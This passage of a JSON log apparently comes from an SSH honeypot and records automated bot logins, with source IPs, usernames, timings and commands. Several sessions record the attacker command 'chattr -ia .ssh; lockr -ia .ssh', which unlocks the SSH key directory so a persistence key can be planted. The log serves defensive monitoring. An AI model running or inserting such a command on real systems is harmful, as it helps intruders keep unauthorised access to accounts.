  "started_at": "2026-08-27T10:58:57.496411+00:00",
  "ended_at": "2026-08-27T10:58:58.539041+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "172d2a42-e7c2-4077-938a-d3bbf7df5e83",
  "name": "breezy-mellow-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53078,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:58:46.483136+00:00",
  "ended_at": "2026-08-27T10:58:47.941713+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b87d6e60-30a9-4528-9f69-ad99952957e5",
  "name": "courtly-graceful-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53068,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:58:43.245101+00:00",
  "ended_at": "2026-08-27T10:58:44.361243+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0511a491-8962-4b6e-9d52-4b74bded357f",
  "name": "deft-woven-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 36854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:57:40.362900+00:00",
  "ended_at": "2026-08-27T10:57:41.025107+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "d1f6f777-d07e-49f1-990b-bb4f3eaa351f",
  "name": "creaky-gritty-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36870,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:57:33.586256+00:00",
  "ended_at": "2026-08-27T10:57:34.871119+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40ee801e-b678-4978-af70-fc792f200916",
  "name": "rapid-brazen-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36864,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:57:31.565883+00:00",
  "ended_at": "2026-08-27T10:57:33.068273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "68496739-8a9a-467b-94a5-acefe8419b5b",
  "name": "breezy-calm-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 57250,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 770,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:56:28.265960+00:00",
  "ended_at": "2026-08-27T10:56:29.023573+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2059
 },
 {
  "id": "d9db2b6a-2f5a-4d3c-8929-928976740fde",
  "name": "dewy-valiant-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58726,
  "username": "newusername",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:56:20.234678+00:00",
  "ended_at": "2026-08-27T10:56:20.861006+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2064
 },
 {
  "id": "5a98b349-baf7-4562-a30b-bb60a7c86f51",
  "name": "prickly-lucid-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59760,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:56:12.980796+00:00",
  "ended_at": "2026-08-27T10:56:14.721095+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8538c0c-44d1-4746-aba8-773fa57aaa3f",
  "name": "frosty-early-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59746,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:56:10.605216+00:00",
  "ended_at": "2026-08-27T10:56:11.462314+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e6a9bc0-193b-414b-8a50-0a373fa4d9c2",
  "name": "sturdy-bold-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58736,
  "username": "newusername",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:56:09.847569+00:00",
  "ended_at": "2026-08-27T10:56:11.486600+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a6e1ac6-7fa8-4c74-b7b2-02cf65e0b7fa",
  "name": "dewy-tidal-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58728,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:56:08.170899+00:00",
  "ended_at": "2026-08-27T10:56:08.957453+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a98b8c64-f7c7-437b-8233-3196f219467d",
  "name": "sterling-lucid-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 46284,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:53:52.986704+00:00",
  "ended_at": "2026-08-27T10:53:53.797790+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "fd7df18a-de75-48ff-a657-85afc4bf2dd7",
  "name": "marbled-freckled-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 32834,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:53:38.682349+00:00",
  "ended_at": "2026-08-27T10:53:39.801591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "583c4972-49f2-4b0f-9cbf-d4bcf0692c98",
  "name": "sullen-quiet-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46292,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:53:36.374116+00:00",
  "ended_at": "2026-08-27T10:53:37.173907+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4dc9bf3-9c93-4748-810e-7da8a48122cd",
  "name": "slender-wooded-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58704,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:52:59.834443+00:00",
  "ended_at": "2026-08-27T10:53:00.554651+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2050
 },
 {
  "id": "75959a23-2619-4688-a2a9-be3c32f0a780",
  "name": "sooty-dusty-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58724,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:52:49.796965+00:00",
  "ended_at": "2026-08-27T10:52:51.363848+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89b5df19-92ad-4934-b115-f2e11c5cdc1d",
  "name": "snowy-woven-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58708,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:52:47.220869+00:00",
  "ended_at": "2026-08-27T10:52:48.873387+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38cad8cf-4b71-4f94-8859-8749f1eebfd7",
  "name": "hidden-distant-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39952,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:51:41.817474+00:00",
  "ended_at": "2026-08-27T10:51:42.968003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5009160c-b2a5-4ec0-9a3d-6eced0c40f32",
  "name": "cunning-quaint-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 57762,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:50:15.699722+00:00",
  "ended_at": "2026-08-27T10:50:16.834738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "223a8369-38eb-4e4b-ac8d-7bdc65546e40",
  "name": "mottled-misty-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "178.43.50.171",
  "src_port": 42264,
  "username": "hruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:48:45.475629+00:00",
  "ended_at": "2026-08-27T10:48:46.099879+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2044
 },
 {
  "id": "252af212-9cc5-4b5b-9839-9e444499f7e0",
  "name": "thrifty-lofty-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "178.43.50.171",
  "src_port": 42286,
  "username": "hruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:48:36.604133+00:00",
  "ended_at": "2026-08-27T10:48:38.231028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e343204-df01-4c56-9013-07a0c308cbd7",
  "name": "fringed-earnest-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "178.43.50.171",
  "src_port": 42280,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:48:35.103960+00:00",
  "ended_at": "2026-08-27T10:48:35.870614+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a6790ac-508c-4102-83bf-2c045cf2d597",
  "name": "cunning-fickle-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58690,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:47:37.292621+00:00",
  "ended_at": "2026-08-27T10:47:38.717746+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7628936-8342-404b-a8f3-6d9306284970",
  "name": "seaward-crystal-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.213.238.91",
  "src_port": 37396,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 799,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:45:58.236494+00:00",
  "ended_at": "2026-08-27T10:45:58.984026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "46ebfe8d-ec08-43f1-bb76-a35fbc3cc89b",
  "name": "gnarled-twilight-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.213.238.91",
  "src_port": 38438,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:45:42.702703+00:00",
  "ended_at": "2026-08-27T10:45:44.298754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83619c9d-d5e2-4cf5-918b-49c9aca5914d",
  "name": "jagged-vivid-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.213.238.91",
  "src_port": 38022,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:45:39.920020+00:00",
  "ended_at": "2026-08-27T10:45:41.069893+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c289a18-b33d-4216-b800-326121ede8e9",
  "name": "solar-fabled-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "183.91.11.36",
  "src_port": 59360,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 829,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:44:14.502320+00:00",
  "ended_at": "2026-08-27T10:44:15.344863+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2049
 },
 {
  "id": "415b10fc-d6f8-4525-8db0-2797c02c513c",
  "name": "tidal-somber-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 60560,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:43:58.035631+00:00",
  "ended_at": "2026-08-27T10:44:00.122825+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21ae9f8f-2ee2-44ee-9525-d35dab4903ad",
  "name": "plush-cosmic-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 59990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:43:54.737934+00:00",
  "ended_at": "2026-08-27T10:43:56.448364+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af896936-a490-4587-a7f3-ab81ff6b066d",
  "name": "smooth-brazen-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 48650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:24:30.157713+00:00",
  "ended_at": "2026-08-27T08:24:32.057443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "db03798b-2ab8-4bf9-913e-a0604d3b8b8a",
  "name": "solemn-quaint-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 50340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:24:13.436156+00:00",
  "ended_at": "2026-08-27T08:24:15.331005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbcc47e8-5874-41b4-a2e3-866bdd08ddc9",
  "name": "curious-amiable-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49194,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:24:11.058375+00:00",
  "ended_at": "2026-08-27T08:24:12.770471+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e607a66e-d86f-417a-8c25-495054fc31bd",
  "name": "ruddy-electric-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57332,
  "username": "naresh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:22:24.947577+00:00",
  "ended_at": "2026-08-27T08:22:27.121487+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "709773e6-e354-44cf-8411-6e8cb7f07825",
  "name": "fringed-vaulted-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 58678,
  "username": "naresh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:22:09.438163+00:00",
  "ended_at": "2026-08-27T08:22:10.063822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02c87ffa-faf7-4372-ad18-a88d6c359f53",
  "name": "fringed-twilight-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 57942,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:22:07.814527+00:00",
  "ended_at": "2026-08-27T08:22:08.792669+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51573ac0-8de7-44fc-a08e-9e5955ee4be6",
  "name": "keen-wistful-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 37792,
  "username": "chrome",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 324,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:20:24.925073+00:00",
  "ended_at": "2026-08-27T08:20:26.162797+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "dbbf702b-2157-411e-85aa-307b5d8368aa",
  "name": "civil-lofty-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39330,
  "username": "chrome",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:20:09.473797+00:00",
  "ended_at": "2026-08-27T08:20:10.377385+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd0fd19c-98f5-49b2-815e-aebf92f013a0",
  "name": "clever-idle-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 38516,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:20:07.572294+00:00",
  "ended_at": "2026-08-27T08:20:08.827724+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0627a051-cb7d-4548-9f26-e4a1dcd22a72",
  "name": "salty-grassy-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46482,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:18:24.060597+00:00",
  "ended_at": "2026-08-27T08:18:26.041370+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "f29619f9-fd49-4cc3-8c52-a4d3a838c666",
  "name": "regal-wry-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48036,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:18:08.223960+00:00",
  "ended_at": "2026-08-27T08:18:09.355795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "571d901c-0da4-40cd-8745-ebddbe54d5e1",
  "name": "pewter-cunning-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 46974,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:18:05.872486+00:00",
  "ended_at": "2026-08-27T08:18:07.579007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "034246a5-d8d9-4c4e-ac5d-4a6e0e936558",
  "name": "lonesome-salty-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55170,
  "username": "jona",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:16:18.543965+00:00",
  "ended_at": "2026-08-27T08:16:19.629855+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "67214ba1-a950-4d21-ad2b-9ec49d073fae",
  "name": "graceful-vivid-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56654,
  "username": "jona",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:16:02.120000+00:00",
  "ended_at": "2026-08-27T08:16:03.909023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f64129a-13d2-4309-be1b-69580d198f48",
  "name": "wooded-lawful-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56046,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:16:00.463001+00:00",
  "ended_at": "2026-08-27T08:16:01.473413+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0df1176f-e02b-4a65-b742-07c8d6d8c95d",
  "name": "curious-mellow-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 35630,
  "username": "drew",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:14:15.648000+00:00",
  "ended_at": "2026-08-27T08:14:16.660351+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2245
 },
 {
  "id": "376f4c41-2372-4cf3-b950-564c0371640b",
  "name": "feathered-lucid-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37324,
  "username": "drew",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:14:02.227903+00:00",
  "ended_at": "2026-08-27T08:14:02.961573+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f206a03c-543d-417e-a2e0-a84a03a048a1",
  "name": "lanky-primal-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 36134,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:13:59.620520+00:00",
  "ended_at": "2026-08-27T08:14:01.579045+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "710045c9-1832-44be-936d-947afc7b6875",
  "name": "obsidian-sandy-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 44310,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:12:11.874759+00:00",
  "ended_at": "2026-08-27T08:12:13.112396+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "538eab08-1fef-4d41-b7d2-75c1981ff4af",
  "name": "wry-fierce-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45774,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:11:56.212346+00:00",
  "ended_at": "2026-08-27T08:11:57.831003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
